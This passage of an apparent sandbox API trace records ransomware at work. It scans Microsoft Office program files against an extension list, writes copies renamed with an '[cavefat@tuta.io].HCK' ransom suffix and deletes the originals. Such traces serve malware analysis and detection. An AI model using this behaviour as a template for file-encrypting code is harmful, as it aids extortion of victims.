[0232.402] ReadFile (in: hFile=0x49c, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0xb17b, lpOverlapped=0x0) returned 1 [0232.413] WriteFile (in: hFile=0x4a0, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0xb180, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0xb180, lpOverlapped=0x0) returned 1 [0232.415] ReadFile (in: hFile=0x49c, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0232.415] WriteFile (in: hFile=0x4a0, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0xf8, lpOverlapped=0x0) returned 1 [0232.415] SetEndOfFile (hFile=0x4a0) returned 1 [0232.415] CloseHandle (hObject=0x4a0) returned 1 [0232.415] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.415] SetEndOfFile (hFile=0x49c) returned 1 [0232.417] CloseHandle (hObject=0x49c) returned 1 [0232.418] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0232.418] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx")) returned 1 [0232.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0232.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0232.419] lstrlenW (lpString=".doc") returned 4 [0232.419] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0232.419] lstrlenW (lpString=".docx") returned 5 [0232.419] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0232.419] lstrlenW (lpString=".pdf") returned 4 [0232.419] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0232.419] lstrlenW (lpString=".xls") returned 4 [0232.419] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0232.419] lstrlenW (lpString=".xlsx") returned 5 [0232.419] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0232.419] lstrlenW (lpString=".ppt") returned 4 [0232.419] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0232.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0232.419] lstrlenW (lpString=".zip") returned 4 [0232.419] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0232.419] lstrlenW (lpString=".rar") returned 4 [0232.419] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0232.419] lstrlenW (lpString=".bz2") returned 4 [0232.419] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0232.419] lstrlenW (lpString=".7z") returned 3 [0232.419] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0232.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0232.419] lstrlenW (lpString=".dbf") returned 4 [0232.419] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0232.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0232.419] lstrlenW (lpString=".1cd") returned 4 [0232.419] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0232.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0232.419] lstrlenW (lpString=".jpg") returned 4 [0232.419] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0232.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0232.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0232.419] lstrlenW (lpString=".doc") returned 4 [0232.419] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0232.419] lstrlenW (lpString=".docx") returned 5 [0232.419] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0232.419] lstrlenW (lpString=".pdf") returned 4 [0232.419] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0232.419] lstrlenW (lpString=".xls") returned 4 [0232.419] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0232.420] lstrlenW (lpString=".xlsx") returned 5 [0232.420] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0232.420] lstrlenW (lpString=".ppt") returned 4 [0232.420] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0232.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0232.420] lstrlenW (lpString=".zip") returned 4 [0232.420] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0232.420] lstrlenW (lpString=".rar") returned 4 [0232.420] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0232.420] lstrlenW (lpString=".bz2") returned 4 [0232.420] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0232.420] lstrlenW (lpString=".7z") returned 3 [0232.420] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0232.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0232.420] lstrlenW (lpString=".dbf") returned 4 [0232.420] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0232.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0232.420] lstrlenW (lpString=".1cd") returned 4 [0232.420] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0232.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0232.420] lstrlenW (lpString=".jpg") returned 4 [0232.420] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0232.420] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0232.420] lstrlenW (lpString="api-ms-win-core-file-l2-1-0.dll") returned 31 [0232.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0232.696] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=18624) returned 1 [0232.696] CloseHandle (hObject=0x54c) returned 1 [0232.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l2-1-0.dll")) returned 0x220 [0232.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l2-1-0.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0232.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0232.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0232.962] lstrlenW (lpString=".doc") returned 4 [0232.962] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0232.962] lstrlenW (lpString=".docx") returned 5 [0232.962] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0232.962] lstrlenW (lpString=".pdf") returned 4 [0232.962] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0232.962] lstrlenW (lpString=".xls") returned 4 [0232.962] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0232.962] lstrlenW (lpString=".xlsx") returned 5 [0232.962] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0232.962] lstrlenW (lpString=".ppt") returned 4 [0232.962] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0232.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0232.962] lstrlenW (lpString=".zip") returned 4 [0232.962] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0232.962] lstrlenW (lpString=".rar") returned 4 [0232.962] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0232.962] lstrlenW (lpString=".bz2") returned 4 [0232.962] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0232.962] lstrlenW (lpString=".7z") returned 3 [0232.962] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0232.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0232.962] lstrlenW (lpString=".dbf") returned 4 [0232.962] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0232.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0232.962] lstrlenW (lpString=".1cd") returned 4 [0232.962] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0232.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0232.963] lstrlenW (lpString=".jpg") returned 4 [0232.963] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0232.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0232.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0232.963] lstrlenW (lpString=".doc") returned 4 [0232.963] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0232.963] lstrlenW (lpString=".docx") returned 5 [0232.963] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0232.963] lstrlenW (lpString=".pdf") returned 4 [0232.963] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0232.963] lstrlenW (lpString=".xls") returned 4 [0232.963] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0232.963] lstrlenW (lpString=".xlsx") returned 5 [0232.963] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0232.963] lstrlenW (lpString=".ppt") returned 4 [0232.963] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0232.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0232.963] lstrlenW (lpString=".zip") returned 4 [0232.963] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0232.963] lstrlenW (lpString=".rar") returned 4 [0232.963] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0232.963] lstrlenW (lpString=".bz2") returned 4 [0232.963] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0232.963] lstrlenW (lpString=".7z") returned 3 [0232.963] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0232.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0232.963] lstrlenW (lpString=".dbf") returned 4 [0232.963] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0232.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0232.963] lstrlenW (lpString=".1cd") returned 4 [0232.963] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0232.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0232.963] lstrlenW (lpString=".jpg") returned 4 [0232.963] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0232.964] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0232.964] lstrlenW (lpString="AppVPackaging.dll") returned 17 [0232.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0232.965] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=578264) returned 1 [0232.966] CloseHandle (hObject=0x54c) returned 1 [0232.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll")) returned 0x220 [0232.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0232.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0232.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0232.966] lstrlenW (lpString=".doc") returned 4 [0232.966] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0232.966] lstrlenW (lpString=".docx") returned 5 [0232.966] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0232.966] lstrlenW (lpString=".pdf") returned 4 [0232.967] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0232.967] lstrlenW (lpString=".xls") returned 4 [0232.967] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0232.967] lstrlenW (lpString=".xlsx") returned 5 [0232.967] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0232.967] lstrlenW (lpString=".ppt") returned 4 [0232.967] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0232.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0232.967] lstrlenW (lpString=".zip") returned 4 [0232.967] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0232.967] lstrlenW (lpString=".rar") returned 4 [0232.967] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0232.967] lstrlenW (lpString=".bz2") returned 4 [0232.967] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0232.967] lstrlenW (lpString=".7z") returned 3 [0232.967] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0232.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0232.967] lstrlenW (lpString=".dbf") returned 4 [0232.967] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0232.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0232.967] lstrlenW (lpString=".1cd") returned 4 [0232.967] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0232.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0232.967] lstrlenW (lpString=".jpg") returned 4 [0232.967] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0232.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0232.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0232.967] lstrlenW (lpString=".doc") returned 4 [0232.967] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0232.967] lstrlenW (lpString=".docx") returned 5 [0232.967] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0232.967] lstrlenW (lpString=".pdf") returned 4 [0232.967] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0232.968] lstrlenW (lpString=".xls") returned 4 [0232.968] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0232.968] lstrlenW (lpString=".xlsx") returned 5 [0232.968] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0232.968] lstrlenW (lpString=".ppt") returned 4 [0232.968] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0232.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0232.968] lstrlenW (lpString=".zip") returned 4 [0232.968] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0232.968] lstrlenW (lpString=".rar") returned 4 [0232.968] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0232.968] lstrlenW (lpString=".bz2") returned 4 [0232.968] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0232.968] lstrlenW (lpString=".7z") returned 3 [0232.968] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0232.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0232.968] lstrlenW (lpString=".dbf") returned 4 [0232.968] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0232.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0232.968] lstrlenW (lpString=".1cd") returned 4 [0232.968] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0232.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0232.968] lstrlenW (lpString=".jpg") returned 4 [0232.968] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0232.968] lstrcmpiW (lpString1=".manifest", lpString2=".HCK") returned 1 [0232.968] lstrlenW (lpString="AppVPackaging.dll.manifest") returned 26 [0232.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0232.969] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=707) returned 1 [0232.970] CloseHandle (hObject=0x54c) returned 1 [0232.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest")) returned 0x220 [0232.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0232.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0232.970] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.970] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0232.971] GetLastError () returned 0x0 [0232.971] ReadFile (in: hFile=0x54c, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x2c3, lpOverlapped=0x0) returned 1 [0232.973] WriteFile (in: hFile=0x4b4, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x2d0, lpOverlapped=0x0) returned 1 [0232.974] ReadFile (in: hFile=0x54c, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0232.974] WriteFile (in: hFile=0x4b4, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x108, lpOverlapped=0x0) returned 1 [0232.974] SetEndOfFile (hFile=0x4b4) returned 1 [0232.974] CloseHandle (hObject=0x4b4) returned 1 [0232.974] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.974] SetEndOfFile (hFile=0x54c) returned 1 [0232.977] CloseHandle (hObject=0x54c) returned 1 [0232.978] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0232.978] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest")) returned 1 [0232.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0232.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0232.979] lstrlenW (lpString=".doc") returned 4 [0232.979] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0232.979] lstrlenW (lpString=".docx") returned 5 [0232.979] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0232.979] lstrlenW (lpString=".pdf") returned 4 [0232.979] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0232.979] lstrlenW (lpString=".xls") returned 4 [0232.979] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0232.979] lstrlenW (lpString=".xlsx") returned 5 [0232.979] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0232.979] lstrlenW (lpString=".ppt") returned 4 [0232.980] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0232.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0232.980] lstrlenW (lpString=".zip") returned 4 [0232.980] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0232.980] lstrlenW (lpString=".rar") returned 4 [0232.980] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0232.980] lstrlenW (lpString=".bz2") returned 4 [0232.980] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0232.980] lstrlenW (lpString=".7z") returned 3 [0232.980] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0232.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0232.980] lstrlenW (lpString=".dbf") returned 4 [0232.980] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0232.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0232.980] lstrlenW (lpString=".1cd") returned 4 [0232.980] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0232.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0232.980] lstrlenW (lpString=".jpg") returned 4 [0232.980] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0232.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0232.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0232.980] lstrlenW (lpString=".doc") returned 4 [0232.980] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0232.980] lstrlenW (lpString=".docx") returned 5 [0232.980] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0232.980] lstrlenW (lpString=".pdf") returned 4 [0232.980] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0232.980] lstrlenW (lpString=".xls") returned 4 [0232.980] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0232.980] lstrlenW (lpString=".xlsx") returned 5 [0232.980] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0232.980] lstrlenW (lpString=".ppt") returned 4 [0232.980] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0232.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0232.980] lstrlenW (lpString=".zip") returned 4 [0232.980] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0232.980] lstrlenW (lpString=".rar") returned 4 [0232.980] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0232.980] lstrlenW (lpString=".bz2") returned 4 [0232.980] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0232.980] lstrlenW (lpString=".7z") returned 3 [0232.980] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0232.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0232.980] lstrlenW (lpString=".dbf") returned 4 [0232.980] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0232.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0232.980] lstrlenW (lpString=".1cd") returned 4 